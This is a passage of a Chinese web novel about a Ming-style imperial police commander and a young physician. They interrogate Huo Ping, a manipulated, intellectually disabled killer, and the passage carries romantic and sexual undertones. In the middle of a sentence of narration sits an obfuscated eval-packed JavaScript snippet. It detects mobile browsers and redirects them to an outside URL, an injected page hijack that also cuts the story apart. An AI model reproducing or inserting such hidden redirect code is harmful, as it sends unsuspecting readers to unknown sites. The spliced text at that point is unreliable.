“不提不提!”月临连连摆手,“我谁都不说。” 秦觅又问:“那你知不知道,东篱院里,有谁的老家是在庆平?” “这个……我还真知道。”少年圆圆的眼睛眨了眨,认真地说。 18. 壹拾捌 片刻后,秦觅从厢房中出来,轻手轻脚把门关好,对守在门口的两名女校尉拱手告辞,表示自己去前院寻镇抚使大人。 他凭着记忆走出了这方小院,再走了一会儿,发现了一个问题——他迷路了。 北镇抚司实在太大,各种院子错综复杂,也没个牌子指路。现下天色黢黑,院子里树木茂盛,好些小路长得又十分相似,后院这里没有太多岗哨,种种原因导致秦秀才这会儿有点摸不着头脑。 站在原地茫然地转了几圈,左右都是路,不知道走哪条才好,他斟酌片刻,决定分别尝试。 远离刑房,听不到那些哭嚎声,这北镇抚司看起来也就不像是什么人间地狱,而是结构紧凑,肃穆凝重的一处宅院。 穿过几个月洞门,又走过几条小路,眼前依旧一片混乱。 原本就不怎么安稳的情绪逐渐开始焦虑起来。 恍然间仿佛又回到了那个地下巷道。 “小烽哥哥,我们什么时候才能走出去?我好害怕。”他听见自己稚嫩的声音惊慌地问。 十二岁能考取秀才,却还是个路痴,更害怕迷路。 “别怕,有我在呢,我最会找路了,跟着我很快就能出去!”当时还叫慕烽的那个少年给了他极大的安慰。 好在北镇抚司不是那地下迷宫,秦觅没头苍蝇般地转了几圈,一转弯,便看到了院子主路和站岗的都衍卫。 他松了口气,上前问询镇抚使的办公邸,声称自己是胭脂巷那案子的证人。 “七零九案?”站岗的都衍卫问道。 七零九?秦觅琢磨了一下,猜测这是案发日期,便点点头:“正是。” 对面另一个都衍卫道:“我认识这书生,昨天一早大人还带他去看了死者尸体,或许是大人找的参谋。” “原来如此。”眼前的都衍卫抬手往一侧指去,“沿着这条小路,往——” 突然一旁传来一个年轻女子的声音:“不必麻烦,我们带他过去便是。” 秦觅好奇转头望去,本以为是哪个热心的女都衍卫,谁知却看见了一名四十余岁、气质雍容的贵妇,和她身旁站着的两位提着食盒的侍女,三人旁边还站着一位提着灯笼的校尉。 两侧站岗的都衍卫连忙抱拳低头:“拜见国夫人娘娘!” 国夫人?如果没猜错的话,这位便是镇抚使大人的亲娘,景国夫人! 属实是没想到会在这里遇到这样的贵人,秦觅连忙跟着拱手行礼, 虽说慕天知本就出身非凡,但相处起来,此人尽管严肃一些,却没什么架子,不是说没有贵气,而是更平易近人。 而景国公是皇后的兄长、大鑫的国舅爷,景国夫人是曹国公之女,夫妻俩是实打实的天潢贵胄。 “你是天知寻来的参谋?”景国夫人主动问道。 秦觅拱手道:“是大人抬举了,小生不过是对案发地环境相对了解,给大人提供一些线索。” “能帮忙就行。”景国夫人边说边向前走,“多帮帮他最好了,这人一忙起来就没白没黑,几天都不着家,我这个做娘亲的,不得不跑到衙门里来看儿子。” 她像是闲话家常,但秦觅却不好这么自在,况且不久前才跟那位儿子有过亲密之举,突然就见了人家娘亲,实在是……有一点心虚。 他立刻道:“大人是为民请命,大鑫能有这样办实事儿的长官,实为百姓之福。” “再为民请命也得注意自己个儿的身子不是?!”景国夫人无奈地叹息道,“早早把内里掏空了,还怎么办实事儿。” “大人正值当打之年,身强力壮,身体康健,娘娘不必过分担心。”秦觅连忙道。 景国夫人偏头觑了他一眼:“哦?你怎么知道?” “实不相瞒,小生正是一名郎中。”此言一出,秦觅也有些心里没底。 虽说面诊和亲身感受足以让他了解慕天知的身体状况,但到底是没有亲自诊过脉,万一跟事实不符,自己可就尴尬了。 得了消息的慕天知迎面赶了过来:“母亲!”看见旁边的秦觅,“你们在聊什么?” “在聊你的身体啊!”景国夫人笑着拍了拍他的手臂,“这位小郎中正夸你呢。” 慕天知:“……” 这是可以聊的吗? 接着又听自家娘亲道:“叫你给御医诊诊脉你偏不肯,好在这位郎中说你不错,为娘还能放心些。” 镇抚使大人为自己方才跑偏的思路松了口气。 “不知郎中师从何门?”景国夫人笑盈盈地问秦觅。 秦觅在想如何把自己夸得体面些,就见慕天知主动道:“这位秦郎中可厉害了,十二岁就中了秀才,可谓神童,又因心存天下百姓,主动放弃科考,改行学医,悬壶济世,堪称大德之人。” “是吗?郎中高义。”景国夫人配合出一副敬佩的神色。 秦觅:“……” 还以为他真的性情大变,现在看来,张口就来的本事跟小时候还是一脉相承的。 先前跟他介绍自己十二岁中秀才的事,是为了引起他的注意,现在被他拿来炫耀,听着就很羞耻。 好在三人没再多说,很快抵达办公邸,侍女们把带来的食物一一从食盒里端出来。 景国夫人果然是心疼儿子,带来的美食都是平日里难以见到的珍馐,食材也新鲜,还是那种只有富贵人家才吃得起的海鲜,毕竟曜京离海不近,暑热天气里要快马加鞭运过来,路上的花费都得是食材价格的几倍,普通百姓可舍不得掏钱。 一桌子美味佳肴,被周遭烛火映得色香味俱全,秦觅看了看,不由吞了吞口水。 “秦秀才也一同用餐吧。”慕天知看他小巧的喉结上下滑动,便知这位郎中肚里闹了馋虫。 秦觅连忙摆手:“这不合适,在下身份——” “大丈夫不拘小节,况且秀才助我不少,吃顿饭算什么。”慕天知打断道,转头对母亲解释,“不仅帮忙提供线索,还为我调理身体,正愁不知如何感谢他。” 秦觅无语,心道,什么调理身体,是说帮你泻火吗? 景国夫人笑盈盈道:“秦秀才,不必拘礼,我在府中用完了过来的,这些足够天知同你两人的分量。” 既然如此,那便恭敬不如从命了,秦觅正好肚子饿得咕咕叫,对两人拱手作揖,表示感谢,便坐下来一同用餐。 许是怕他不敢动筷,慕天知表现得比平时热情,主动夹了各色菜肴到他盘中,还把那一叠绿豆糕往他面前推了推:“尝尝这个,国公府的厨子做得最好,街面上买不到。” 确实,糕体细腻柔软,清甜可口,甚至还有些入口即化的意思,秦觅吃了一块,忍不住又吃了另一块。 “天知,既然你与秦秀才这般投缘,不如把他招致麾下做个入幕之宾?”景国夫人端详两人相处,觉得亲密又自然,像是关系不错,灵机一动提议道,“十二岁就能中秀才,定是天资聪颖、足智多谋,一定能帮你分忧,又懂些医术,正好能照顾你的身体。这样好的人才,若是浪费实在可惜。” 秦觅愣了愣,不知该如何回答,看向慕天知。 慕天知面上不显,淡淡笑道:“秦秀才是要悬壶济世的,我哪能把人给独占了。” “在哪儿救人不是救嘛,你平日里多给他留些自由支配的时间不就行了?”景国夫人显然很急于给自家儿子找个帮手,难得看中一个,抓着就不想放手,“秦秀才不懂朝中事,帮你分担曜京这些疑案便是,不用每天来北镇抚司点卯,时间怎么安排还不是由你说了算?” 接着她又对秦觅道:“你看起来就是个心善的孩子,行医救人不见得能收多少诊金,说不定还会赠医施药,时间久了,哪经得起这么消耗?生活在曜京,开销不低,来北镇抚司做个幕僚,额外多一份薪俸,也算有保障不是?” 能查案能赚钱,还能接近慕天知,着实让人动心。 但秦觅现在拿不准慕天知的想法,不知道自己该不该答应,陷入了犹豫。 “母亲提议甚好,但还是给些时间让秦秀才考虑一下吧。”慕天知缓声道。 秦觅礼貌地冲景国夫人笑笑,心里感叹,天下果真没有白吃的美食。 就在这时,梅淼一路小跑冲了进来,兴奋道:“大人,人抓回来了,已经送去刑房候审——诶,娘娘也在?!” 听到人已经被抓到,秦觅放下筷子站了起来,迫不及待地问:“他配合吗?抓他顺利吗?” “不怎么顺利,这人真是蛮牛一样,什么都不说,就知道横冲直撞,一帮兄弟费了半天劲才把他给绑起来。”梅淼用手扇着风,感叹道,“跟他说不通,我们也没办法,只能用强了,看得出来是受到了惊吓。” 秦觅立刻充满期待地看着慕天知,希望能尽快去见这位霍平。 慕天知轻轻一点头,站起身,低头道:“母亲……” “行了,知道了。”景国夫人一脸无奈,“好歹是看着你吃了点东西,我也放心了,去吧。” 许是晚间没什么犯人待审,刑房这边的院子里安安静静,院门口和关了人的房间外有都衍卫站岗,就算没有惨叫声,依然显得阴森可怖。 慕天知带着秦觅走到门外,停住脚:“外间有可以听审的隔间,你是愿意待在那里听,还是和我一起进去问话?” “跟你一起进去。”秦觅略有些急切,“他已经被吓到了,有我在更好——这不是大人等我来的本意吗?” 慕天知点点头,示意守门的都衍卫把门打开。 刑房秦觅是来过的,只不过那时阳光灿烂,现在里边一片漆黑,墙上挂了几个火把,活像一个阴森的山洞,十分骇人。 靠墙放着一张刑架,边上挂了一排鞭子、笞杖、烙铁等刑具,每一把都自带寒光,不知沾染过多少犯人的血渍。 霍平被五花大绑地捆在一张椅子上,嘴巴里被塞了破布,壮实的身躯仿佛一座小山,此刻垂着头,显得萎靡至极,跟这身形毫不相称。 他额头和侧脸多了不少新鲜伤痕,血迹未干,显然梅淼口中说的“不怎么顺利”描述算是保守。 见长官进来,看守霍平的两名都衍卫立刻抱拳行礼,慕天知冲他们点了点头,示意秦觅先坐。 秦觅摆摆手,问道:“我能把他嘴里的布取出来吗?” “当然。”慕天知同意。 一名都衍卫要动手,秦觅却道:“我来。” “那你可小心,他会咬人。”都衍卫提醒道。 秦觅颔首:“无妨。” 他走到霍平面前,微微弓腰,端详着对方的脸。 天生愚钝、心智残缺必然会影响面容,此人面大如盆,脸颊满是横肉,唇腮都生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427056|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了胡须,五官被挤在中间,双目却小得可怜,明明长得像凶兽,此时眼神充满不安,像个被吓坏了的小狗。 他样貌虽然成熟,情态却充满与年龄不符的稚气,糅合出一副狰狞扭曲的模样。 仿佛一个孩童被困在了大人的躯壳里,委屈又愤怒。 “霍平,你认得我吗?”秦觅温和得有一些小心翼翼,“我住在胭脂巷那边的长青街,或许我们偶尔会碰见。” 慕天知抱着双臂站在一边,觉得这柔和的声音很有一种安抚人心的力量,应当能帮霍平放松下来。 犯罪嫌疑人或者证人属于非完全行为能力人的这种情况最让他头疼,因为完全无法对等交流,不仅很难获取有效信息,还不好控制对方情绪,搞得双方都很疲惫。 希望秦觅能发挥他的特长。 但这显然需要时间——那位大“孩童”依旧低着头不作声,就连短短的睫毛都没动一下,似乎对他说的话完全不感兴趣。 秦觅并不气馁,又温声道:“傍晚的时候,我还看见你在喂猫,挂着铃铛的那个,你知道他叫虎威将军吗?” 不知道被哪个词触动,霍平突然间有了反应,猛地抬头看他,眨了眨眼,脸上委屈之情更甚。 “别害怕,我把你口中的布团取出来,但你别咬我,好不好?”秦觅伸出手,笑道,“你看我这么瘦,被咬一口会很疼的。” 霍平直愣愣地看着他的手,片刻之后才转了一下脑袋,又看他的脸,接着垂眸,依旧不吭声。 秦觅动作极慢地去拽他口中那团布的边缘,同时轻声道:“我会很小心,不弄伤你。闻到我身上的药味了吗?我是一名郎中,一会儿给你脸上的伤上点药,好不好?” 慕天知闻言,冲身边梅淼说了些什么,姑娘转身跑了出去。 许是自己的温柔以待让霍平放松了些,整团布顺利被取出,他都表现得非常顺从。 秦觅从袖子里掏出帕子,轻轻帮他擦擦去唇边的口水,完全没有露出任何嫌弃之意。 “被这么绑着一定很不舒服,如果你答应我乖乖的不发脾气,我就跟他们说,给你绑得轻松些,如何?”他继续试探道,“做错了事就该受到惩罚,这个道理你懂的,对吗?所以我们不能把你彻底松开。” 霍平垂着头,像是在思考什么,片刻后轻轻点了点。 秦觅看向慕天知,慕天知示意两名都衍卫照做。 显然这两人参与了抓捕,对霍平的表态并不放心,他们取来了结实的脚镣,先把他的双脚锁上,再把他的双手捆到身前,才把身上的绳索剪开。 整个过程中,霍平只是委屈巴巴地看了看秦觅,大多时候都沉默地低着头。 看他这模样,秦觅心里实在难受,天生愚钝不是他的选择,他根本没有能力一个人应付这个复杂的世间,却还被人教唆着做了错事。 他连杀三人的罪名都是板上钉钉,不知道将来圣上是否会网开一面,免他死罪。 可就算免他死罪,也必将是发配边疆或者终身徭役,这对他来说,真的会是轻判吗? 或许挨上那一刀,才算彻底解脱。 这时梅淼推门进来,把药箱轻手轻脚地放在秦觅身边:“秦秀才。” “多谢。”秦觅打开药箱,接过一名都衍卫递过来的水碗,取出干净的布巾蘸湿,轻轻地在霍平脸上的伤口处擦了擦。 霍平吃痛,猛地向后闪避,秦觅像哄孩子那般道:“不要躲,你阿娘是不是说过,受了伤就要上药才能好?” 这话仿佛有奇效,这个大孩子乖乖地不动了,片刻后喉咙沙哑地说:“阿平,听话。” 秦觅忍不住鼻子一酸,下意识地屏住呼吸,把这酸意忍了回去。 “对,阿平最乖了,我给你上药,给你喝水和好吃的,你回答我的问题,好不好?”整理好情绪,他轻声说。 霍平垂眸不语。 秦觅并没有急于一时,帮他清理完伤口后,换了干净的白布条蘸了伤药,小心翼翼地往他伤口上涂抹。 这应该更疼,可霍平这次没有再躲,龇牙咧嘴地忍着。 一边上着药,秦觅一边发问:“阿平,院首游街那天你还记得吗?有没有去凑热闹?” 即便霍平不吭声,他也没有泄气,语气轻柔地继续说:“那天很热闹,街上到处都是人,有一个漂亮的小公子骑在马上,大家都是去看他的。在他前后还有人在撒铜钱,小孩儿们都在抢,你抢了吗?” “去了,但没,抢钱。”霍平愣了愣,缓缓道,“阿娘说过,我会,吓坏,他们。” 秦觅心中了然,定是他娘怕他吓坏小孩,引得孩子们父母忌惮,对他多加苛责,才这么叮嘱他。 “阿平做得对!我们阿平是大人了,要让着小孩子。”他温声笑道,“后来呢,看完游街,你去哪儿了?” 霍平乖乖回答:“回家,睡觉。” “可你丑时正左右,不得起床干活吗?” “睡到丑时,就起了。” “那天后来,不是下了特别大的雨吗?下雨的时候,你在哪?有没有好心人让你去躲雨?” 慕天知目光炯炯地盯着霍平,因为从证据看来,此人进入傲霜房间杀人的时候,身上未沾雨水,应当是指使者提前将他带进了室内。 话问到了这儿,他会说出那人的名字吗? 19. 壹拾玖 问出关键问题的时候,秦觅的心几乎提到了嗓子眼,甚至给霍平上药的手都不自知地停了下来。 他微微垂眸,仔细观察对方的表情,想从那张木呆呆的脸上找出一些端倪。 可是方才还对答如流的霍平,这会儿又开始沉默。 不能急,一定要有耐心。 秦觅叮嘱着自己,很自然地笑了笑,温声道:“热了那么多天才总算下了一场雨,下得特别大,天气都凉快了许多,可是阿平还要出去干活,肯定要被浇成落汤鸡的,对吗?不知道你有没有准备蓑衣。” 霍平依旧低着头不言语。 “不过那种雨势,穿了蓑衣斗笠也没用,阿平当天被淋湿了吗?” “有好心人让你进屋躲雨,你该谢谢人家。如果没有谢,告诉我他的名字,我去替你道谢。” “阿娘教过阿平,做人要有礼貌的,是不是?” 满屋子人屏住呼吸地盯着霍平,满怀期待地希望他能够开口,一时间刑房中鸦雀无声。 “不能说。”霍平吭吭哧哧地开了口,却没像大家期待的那样说出答案,他低着头机械地重复,“不能说,不能说。” 秦觅的心重重一坠:“能告诉我为什么吗?” “阿娘说,男子汉,一诺千金。”霍平嘟嘟囔囔。 看来是那指使者了解他的脾气秉性,率先同他达成了约定。 难怪此人敢把霍平推出去,就是料定他不会将自己招认出来! 秦觅下意识地转头望向不远处站着的慕天知,流露出了不自知的求援的神情。 这模样令镇抚使大人心生怜爱,给了他一个安抚的眼神,又做了个手势,示意他继续。 “阿平那天做了错事,是不是?”秦觅放下手里用来上药的白布,语气略微加重了些,“你知道那样做是不对的,不是吗?” 霍平把头低得更深,身体开始不自觉的前后摇晃,显然开始紧张。 有反应总比没反应强,秦觅继续道:“阿娘一定教过你,不该那么对别人,那样是错的。” 霍平长得五大三粗,又是个傻子,讲不通道理,人们看他跟看野兽没有区别,很有可能会主动攻击他。 为了让他显得无害,尽可能与人和平相处,他的母亲一定千叮咛万嘱咐过,让他不得采取暴力,他才会那样任人欺负。 被人奚落两句,总比被人像对付野兽那样屠杀要强。 “没错,我没错,没有错……”霍平心虚,开始为自己辩驳,但依旧没有抬头。 “为什么没错?” “因为、因为,那是解脱,是解脱,是、是赎罪……” 秦觅不自知地攥起了拳头,尽可能地让自己声音听起来平稳:“是谁这么告诉你的?” “是带你避雨的那个人吗?” “你都怎么称呼他?” 霍平的身体摇晃得更加剧烈,但是咬紧了牙关,一直摇头,死活不吭声。 秦觅没在这个问题上纠缠,他顺着时间线,问起了寒柯死的那天。 “阿平,隔了几天,又下了一场大雨,你还记得吗?”他恢复了温和的语气。 这次霍平有了回应,使劲儿点了点头:“记得。” “那天你淋雨了,对吧?淋湿了之后,才去的竹影阁。” “雨很大,蓑衣,挡不住。”霍平结结巴巴地说。 “可这次那个好心人,为什么没让你提前进去避雨?”秦觅轻声问,“是不是他,不是竹影阁的人?” 霍平又像中了咒语似地沉默了,自顾自地摇晃身体。 “看来只要和那个指使者有关的事,他一个字都不说,嘴可真严!”梅淼小声在慕天知身边嘀咕,“不知道那人怎么教的他,怎么让他这么听话!” 慕天知低声道:“对方应当跟他接触了不久的时间,让他非常信任,不然不可能达成这样的效果。稍后调查,记得从这方面入手,尤其是在霍平母亲去世后,是谁一直在照顾他,或者与他亲近。” “遵命!”梅淼应道。 慕天知缓步走到秦觅身边,弯腰在他耳边道:“不必再追问这个问题,万一他应激,你和他之间建立的信任就会毁于一旦,先问后边的事,尤其是张四。” 温热的气息喷在耳廓,有点麻痒,秦觅轻轻点头,端过一碗水递给霍平:“阿平,口渴了吧,喝点水。” 霍平抬眼看着面前的水碗,舔了舔干燥的嘴唇,双手接过,仰头咕咚咕咚喝得一干二净。 “把手给我好吗?”秦觅向他伸出手,“我给你手上的伤口涂点药。” 霍平低头看了看自己的双手,犹豫了好一会儿,才抬起来放在桌上伸过去。 根据戚鸾音的验尸结果,张四喉间的勒痕不过是象征意义的事后补刀,剖开尸体后发现喉骨未断,力度不足以让他丧命,证明他是被活活打死的。 除了现场留有的一块沾了血的石块之外,眼前霍平的手显然也是凶器之一。 他双手手背红肿隆起,骨节部分挫伤严重,看得出来之后没怎么被好好处理,渗出来的血液凝固在了伤口之上。 天气炎热,虽然短短不到一天的工夫,已经有些要发炎的意思。 秦觅用白布沾了水,非常小心地把那些血痂擦掉,一段时间内没有再问话,霍平因此情绪稍稍平稳下来,身体不再摇晃。 “张四——” 秦觅刚一开口,就被霍平打断,他听到此人的名字就瞬间变得愤怒,大声道:“坏人!他是坏人!” “阿平乖,别生气。”秦觅一边给他涂着药,一边尽可能安抚道,“他以前是不是欺负过你?” 霍平气得面色涨得通红,口齿不清地喊道:“他笑话我、打我!还、还骂我阿爹阿娘!说、说他们造了孽,才生了我这个、傻子!他还说我、说我上辈子、没积德,说、我阿爹阿娘下辈子也不会有、好日子过!说我只配、掏大粪、来世做条、蛆虫!” 他实在太生气了,说话时口沫四溅,胸口剧烈起伏,双手不受控制地开始发抖,低下头不住地挠着头发,把本就凌乱的发髻挠得更加乱七八糟,甚至薅掉了不少头发。 身体也再度开始前后摇晃,嘴里喃喃地念叨: “他是、坏人!” “他、该死!他才该死!” 梅淼义愤填膺地小声咒骂:“那张四实在活该,人家一家已经够惨了,他还这么说!大人,盘查的时候我问过很多百花南街的街坊,只要提到张四,所有人都说他早就该死了,至少也该被剪了舌头,多谢凶手为百姓除害,可见他平日里多么为祸一方!” “霍平智力低下,如果不是张四在他面前重复过多次这样的话,他不会这么刻骨铭心。”慕天知低声道。 尽管身为执法人员不该这么说,但有些人属实是可怜人必有可恨之处,实在是自寻死路。 “阿平不生气,不生气,啊!”秦觅试图去抓霍平的双手,避免他拽下更多的头发,可是此人力气实在大,根本控制不住。 眼看两边的都衍卫要上来动手,秦觅连忙做了个阻止的手势,将霍平整个儿抱进了怀里,像哄孩子那样轻轻拍着他的后背。 “好了好了,没事了,阿平已经让他得到惩罚了,不是吗?”他轻声细语地说,将人抱得那样紧,仿佛完全不在意对方身上明显的臭味,“坏人说话是做不得数的,阿平还有阿爹阿娘来世还会再做一家人,大家都会幸福平安。” 在他的安抚下,霍平总算平息下来,大脑袋抵在他的胸口,发出呜咽的哭声。 慕天知递了汗巾给秦觅,秦觅松开怀抱,轻手轻脚地给霍平擦去脸上的眼泪。 “我想、我想、阿爹阿娘……”粗犷又愚钝的男人哭得像个可怜的孩子,“每天、我都、想他们,我也不想活了……” 秦觅轻声道:“张四以前常常这么欺负你,是吗?” “嗯!”霍平点点头,“可我阿娘说,不和他一般见识,我、我一直都、忍着。” “那为什么,今天早上,没忍住呢?”秦觅问道。 本以为他又要缄口不言,谁知霍平低着头,吸了吸鼻涕说:“他有罪,他是个罪人,我要让他赎罪。” 秦觅立刻追问:“怎么才算赎罪?是打死他?勒死他?还是往他嘴里塞满石块?” “哪里犯了错,就、就塞住哪里。”霍平认真地说,“死了,就干净了。” 看他对答如流的样子,秦觅不想放过机会,再次问道:“这个办法,是谁教你的?” 所有人再度满怀期待地盯着霍平。 然而他固执地摇摇头:“我不能说。” “为什么不能说?”秦觅温声道,“是他让你别告诉别人吗?” 霍平小小的眼睛转了转,好像是很苦恼,双手被绑着一起抬起来挠了挠头皮,一副焦躁不安的样子。 秦觅把他的手拽了下来:“不用说他是谁,只告诉我不能说的原因,好吗?” “因为说了他会死。”霍平又开始不自觉地前后摇晃身体,“他不能死,他是好人,他对我好。 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梅淼再也压不住嗓音,怒道:“这是什么品种的混蛋,就怎么明晃晃地骗傻、骗人?!前脚还说会带他一起过,后脚就骗他去死?!霍平,你别当他的替罪羊!快点把他的名字说出来,我们抓了他千刀万剐!” “冷静。”慕天知也很愤怒,但也算预估到了这个局面,身为长官,他必须强行压制怒火。 再看霍平面前的秦觅,此人看起来十分平静,但背在身后的手握拳已经握得指节发白。 对情绪那样敏感的人,现在应当也已经怒火攻心。 估计问下去也不会有什么进展,慕天知沉声道:“今晚就问到这吧,把他带下去,单独关押,避免与其他犯人产生接触。” 两名都衍卫齐声道了句“是”,便把霍平拎了起来。 突然再次遭遇粗暴对待,霍平惊慌不已地看着秦觅:“哥哥!” “阿平,你信我吗?”秦觅突然双手抓住他的手臂问道。 霍平犹豫了片刻,轻轻点头。 慕天知预感不对,阻止道:“秦秀才!” “那如果我告诉你,就算死了也见不到阿爹阿娘,你该怎么办?”秦觅急切地盯着他,“阿爹阿娘去得早,不会在天上一直等你!” 霍平缓缓睁大了他的小眼睛,惊恐万分道:“怎么会?!大哥哥不会骗我!我要见阿爹阿娘!我要见阿爹阿娘!我要解脱!” 秦觅看着他眼睛快要溢出来的恐惧,突然觉得自己很卑劣,卑劣至极,慌忙松开了他的臂膀。 已经差不多猜到那人是谁,何必再来逼这个可怜人给出答案? 击碎他唯一的希望,自己跟那幕后真凶又有何区别?! “对,他没骗你。”秦觅深深吸了一口气,挤出满脸温柔的微笑,“阿平会跟阿爹阿娘团聚的。” 这句话总算成功地安抚了霍平,他乖乖地跟着两名都衍卫离开。 “我得过去叮嘱一声,让他们别欺负他。”梅淼自言自语着跟了上去。 刑房中只剩下秦觅和慕天知,两人谁都没说话,周遭安静得很,能听得到火把燃烧发出的哔啵声响。 秦觅目光空洞地望着门外,像是在发愣,慕天知走到他身边,低声道:“好了,走吧。” 面前人还像个木桩子似地一动不动,不知神游到了何处。 慕天知伸手推了推他的肩膀:“秦秀才?” “嗯,走。”秦觅感觉全身力气散尽,有一种深深的无力感,但还是对他弯了弯眼睛,走出刑房。 外边已经是深夜,潮气弥漫,天上的月亮已是满月,此刻看起来模模糊糊的,周围有一层毛边,像是被水洇过的宣纸。 看着就给人一种不清爽的感觉,心情更是阻滞粘腻,胸口像是塞了一坨湿乎乎的抹布,气都喘不匀。 “今天审讯并非全无收获,至少能确认这个幕后指使者是男子,不是自由身,或许是贱籍,再加上他以往经常照顾霍平,街坊邻居总能注意到,等明日详查,一定能找出嫌疑人。”慕天知在他身旁,温声道,“秦秀才问话很有一套,多谢相助,看来我真的要诚心邀请你来做我的幕僚才行。” 秦觅轻声笑了笑:“大人谬赞,你在北镇抚司这么多年,经验比我丰富,定会根据不同情况采取不同的审问方式,今夜我不过是班门弄斧罢了。” “你这么说,是打算拒绝我?”慕天知反问道。 秦觅站定,微微仰头,似笑非笑地看着他:“不知大人说这番话的真心,上秤称一称,能有几斤几两?” 20. 零贰拾 慕天知微微垂眸,看着面前这张漂亮的脸,觉得自己心脏跳得有些快。 想想如果每天都能看到这张脸,也很令人愉悦。 把人放在身边盯着,也有不少好处,正像母亲所说,多了个好帮手,还多了个私人医生。 但不知此人刻意接近到底有什么目的,贸然放在身边,会不会有些不妥? 可话又说回来,就算他有所图,又能图自己什么? 自己再蠢,也不至于被美色迷了眼。 秦觅见他没有回答,莞尔笑道:“怎么?怕一两都没有?既然如此,又何必说呢?” 摇了摇头,继续向前走去。 “不必管我是真心还是假意,至少这个机会对秦秀才而言,是极好的。”慕天知负手跟上,“家慈说得不错,怎么救人不是救?况且我不会限制你的自由,有案子你就来,没案子你就当你的自在郎中,既能悬壶济世,又能为民除害,两全其美。” “留个曾经一夜风流的人在身边,不怕身陷其中?” “本世子还不至于这么没有定力。” “定力?呵。” 慕天知莞尔:“现在不知是谁在怕。” “是我怕。”秦觅双手抱臂,坦然承认,“在下有心痹之症,恐怕经不起这么折腾。” 听着像是拒绝。 慕天知偏头觑他,方才是自己迟疑,怎么现在倒是他婉拒起来了? 怕不是欲擒故纵? “大人,在下有一事想问。”秦觅换了话题,“《大鑫律》并未规定,像霍平这样心智不全的人证词是否可以采纳,那在办案过程中,你会如何处置?” 慕天知答道:“人证不足,那就只能多找些物证。虽然他智力有问题,但今天他所说的话,也还算逻辑自洽,并非完全不能被采纳。” “他到底是杀了三个人,将来会被处以极刑吗?”秦觅又问。 慕天知看着他:“死刑需要圣上御笔朱批,到时候由他老人家来定夺,但我会劝他给一个痛快。” 见身边人久久没有言语,他问道:“觉得我很残忍?” “没有。”秦觅深深叹息,“只是觉得天命不公,让人有些沮丧。” “秦秀才想到了自己的命运?若非家中出了意外,或许你已经金榜题名?” “不敢想那么多。”秦觅笑了笑,“或许我是仲永之流呢?若是父母在世,不免让他们失望。” 说话间两人已经回了镇抚使的办公邸,走时的满桌饭菜已经不见踪影,只有两碟点心还放在椅子旁边的小几上。 慕天知客气道:“饿吗?吃一点垫垫。” 是有些饿,但胃里有些难受,没什么食欲,秦觅笑着摇摇头:“算了,多谢。” 椅子后边有两块黑色板子矗立在那里,上边写着“七零九案”,下边是一众死者和嫌犯的名字,相互之间用白线划出了关系。 秦觅好奇地绕过去看:“胭脂巷那边都将这次的凶手称为‘雨夜勾魂使’。以前官府判案,好像也会取个比较能概括案件特点的名字,或者以人名指代。大人为何以日期命名?” “‘雨夜勾魂使’?取这名字,岂不是给那幕后真凶脸上贴金?”慕天知冷笑,“没必要渲染凶手的威慑力,他不过就是人间渣滓罢了。用案件发生日期指代更客观直接。” 秦觅点点头:“大人说得有理。” 他见慕天知从黑色板子下方的凹槽中拿出一个白色的条状物,在板子上写下了霍平的名字,便十分新奇地用指尖沾了沾笔迹留下的白色粉末。 “这是什么?”他捻了捻手指,“石灰?” “秦秀才果然见多识广,是石膏还有石灰等物调和在一起灌入模具制成,我称它为粉笔。”慕天知把手里这根递给他看。 穿越到这大鑫朝,他依旧保留了一些以前的侦查习惯,别的设备不好弄,刷个黑板做点粉笔倒是不难。 秦觅拿着粉笔左右端详,又自己在板子上写了几个字,然后用板子下边放的抹布擦去,赞叹道:“果真好物。” 慕天知又拿了一根粉笔,在霍平的名字上画了个圈:“胭脂巷里有不少贱籍出身的人,你对那里情况比较了解,能不能缩小一下嫌疑人范围?” 不等秦觅发话,他又说:“此前已经推断,真凶是与傲霜关系紧密之人,或许是东篱院某一个不出名的小倌,动机应当与钱财无关,可能是出于嫉妒,觉得杀掉傲霜又除掉寒柯,自己便会有出头之日。” “住在东篱院,去隔壁竹影阁也方便,不会引人注意,跟傲霜亲近,很方便拿到孙昶的衣物用以栽赃——” “不是小倌。”秦觅突然打断。 慕天知看着他:“你是觉得,同为小倌,不会做出魄门塞物这样明显羞辱嘲弄的举动?亦或者不会有‘审判’这种明显具有仪式感的做法?这也有可能。可如果不是小倌,像是护院、杂役或者龟公,没有充足的动机——杀了能为南风馆赚钱的小倌,对他们有什么好处?” “或许是为了自由吧。”秦觅低声道,“霍平不是说了吗?那人说等他自由了,就带霍平一起过,显然他更想要得到自由,才会无法接受傲霜延迟赎身,要么利益相关,要么怒其不争。” 慕天知陷入沉思,隐约间得到了启发,有什么在脑中一闪,但转瞬即逝。 还没来得及抓住这点念头,便又听旁边的人道:“大人,时间太晚,没有回外城的趟子车,我能不能在你这里休息?等到天亮便走。” “不介意的话可以去我书房榻上小憩,或者我叫人带你去后院厢房。”慕天知看他有些没精打采,神情也恹恹,的确是很疲惫的样子。 秦觅冲他弯了弯眼睛:“不必麻烦,去大人书房即可。” “随我来。” 慕天知带他进了书房,把手里的烛台放在书桌上,指了指窗下的长榻:“有枕头,需要被褥的话,我叫人去取——” 话音没落,就被人按在了一旁的墙上。 秦觅双手搭住他的肩膀,靠得极近,微微仰头看着他,轻声道:“大人,有没有兴趣一起打发这漫漫长夜?” 抬手不轻不重地拂过慕天知的眉毛,指尖在他眉梢小痣轻轻一蹭。 朦胧烛光里,秦觅那双含情眼目光潋滟,多情缱绻,蕴含着蓬勃的欲念,还有一抹不易被人察觉的疯狂。 慕天知垂眸看着他,不受控制地被蛊惑,但自己现在并没有喝酒,不会再犯那日的错误。 “秦秀才情绪不佳,大可以尽快安睡,做个美梦便好了,没必要做这样于己不利的事情。”他低声道。 秦觅笑了起来:“大人龙精虎猛,我舒服得很,怎么能说是于己不利?炎炎夏日,热得睡不着,不如做些让人更热的事情。”接着贴到慕天知耳边,耳语般道,“汗出得透了,才更爽。” 